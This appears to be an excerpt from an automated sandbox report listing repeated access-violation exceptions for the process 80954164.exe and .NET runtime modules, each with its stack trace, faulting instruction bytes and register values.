__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 80954164+0xf054 @ 0x40f054 80954164+0xf0a0 @ 0x40f0a0 80954164+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 80954164+0xefff exception.address: 0x40efff exception.module: 80954164.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4370352 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 37169992 registers.ecx: 146	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 80954164+0xf054 @ 0x40f054 80954164+0xf0a0 @ 0x40f0a0 80954164+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 80954164+0xefff exception.address: 0x40efff exception.module: 80954164.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4374448 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 37169992 registers.ecx: 114	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 80954164+0xf054 @ 0x40f054 80954164+0xf0a0 @ 0x40f0a0 80954164+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 80954164+0xefff exception.address: 0x40efff exception.module: 80954164.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4378544 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 37169992 registers.ecx: 82	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 80954164+0xf054 @ 0x40f054 80954164+0xf0a0 @ 0x40f0a0 80954164+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 80954164+0xefff exception.address: 0x40efff exception.module: 80954164.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4382640 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 37169992 registers.ecx: 50	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 80954164+0xf054 @ 0x40f054 80954164+0xf0a0 @ 0x40f0a0 80954164+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 80954164+0xefff exception.address: 0x40efff exception.module: 80954164.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4386736 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 37169992 registers.ecx: 18	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x627d50 0x627c85 0x62367a 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 8b d0 85 c0 75 06 8b 15 2c exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x627de9 registers.esp: 3076164 registers.edi: 44046840 registers.eax: 0 registers.ebp: 3076188 registers.edx: 7442968 registers.ebx: 44046860 registers.esi: 44047660 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62ad19 0x62ac93 0x62a113 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 39 fe ff ff eb 0c e8 a4 exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62af8e registers.esp: 3075652 registers.edi: 44600832 registers.eax: 46506488 registers.ebp: 3075712 registers.edx: 0 registers.ebx: 44605032 registers.esi: 46506488 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62ad19 0x62acb0 0x62a113 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 39 fe ff ff eb 0c e8 a4 exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62af8e registers.esp: 3075652 registers.edi: 44600832 registers.eax: 44263592 registers.ebp: 3075712 registers.edx: 0 registers.ebx: 44051344 registers.esi: 44263592 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62ad19 0x62acb0 0x62a113 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 39 fe ff ff eb 0c e8 a4 exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62af8e registers.esp: 3075652 registers.edi: 43780648 registers.eax: 45693540 registers.ebp: 3075712 registers.edx: 0 registers.ebx: 44473500 registers.esi: 45693540 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62d489 0x62a313 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 7f fe ff ff eb 0c e8 5f exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62d6d3 registers.esp: 3075668 registers.edi: 43780648 registers.eax: 47128352 registers.ebp: 3075720 registers.edx: 0 registers.ebx: 45908296 registers.esi: 47128352 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62d489 0x62a313 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 7f fe ff ff eb 0c e8 5f exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62d6d3 registers.esp: 3075668 registers.edi: 43780648 registers.eax: 48478052 registers.ebp: 3075720 registers.edx: 0 registers.ebx: 47257996 registers.esi: 48478052 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62d489 0x62a313 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 52 04 3b 55 dc 0f 8f 7f fe ff ff eb 0c e8 5f exception.instruction: mov edx, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62d6d3 registers.esp: 3075668 registers.edi: 43780648 registers.eax: 49827752 registers.ebp: 3075720 registers.edx: 0 registers.ebx: 48607696 registers.esi: 49827752 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62d759 0x62a3e6 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f e7 fe ff ff eb 0c e8 01 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62d931 registers.esp: 3075668 registers.edi: 43780648 registers.eax: 0 registers.ebp: 3075720 registers.edx: 0 registers.ebx: 44029440 registers.esi: 44741372 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62d759 0x62a3e6 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f e7 fe ff ff eb 0c e8 01 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62d931 registers.esp: 3075668 registers.edi: 43758540 registers.eax: 0 registers.ebp: 3075720 registers.edx: 0 registers.ebx: 45010260 registers.esi: 46230308 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62d759 0x62a3e6 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f e7 fe ff ff eb 0c e8 01 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62d931 registers.esp: 3075668 registers.edi: 43758540 registers.eax: 0 registers.ebp: 3075720 registers.edx: 0 registers.ebx: 46499196 registers.esi: 47719244 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62da89 0x62a483 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 05 ff ff ff eb 0c e8 d8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62dc5a registers.esp: 3075668 registers.edi: 44907176 registers.eax: 0 registers.ebp: 3075720 registers.edx: 0 registers.ebx: 44030044 registers.esi: 44641908 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62da89 0x62a483 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 05 ff ff ff eb 0c e8 d8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62dc5a registers.esp: 3075668 registers.edi: 44907176 registers.eax: 0 registers.ebp: 3075720 registers.edx: 0 registers.ebx: 44913128 registers.esi: 46133176 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62da89 0x62a483 0x629a94 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 dc 0f 8f 05 ff ff ff eb 0c e8 d8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62dc5a registers.esp: 3075668 registers.edi: 44907176 registers.eax: 0 registers.ebp: 3075720 registers.edx: 0 registers.ebx: 46404396 registers.esi: 47624444 registers.ecx: 0	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 0x62e00c 0x629aac 0x627ea0 0x62369f 0x623326 0x621b36 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72b3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72bb7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72bb4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 40 04 3b 45 e0 0f 8f a1 fe ff ff eb 05 e8 e0 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x62e452 registers.esp: 3076052 registers.edi: 48169040 registers.eax: 0 registers.ebp: 3076096 registers.edx: 0 registers.ebx: 48162832 registers.esi: 48169724 registers.ecx: 0	1
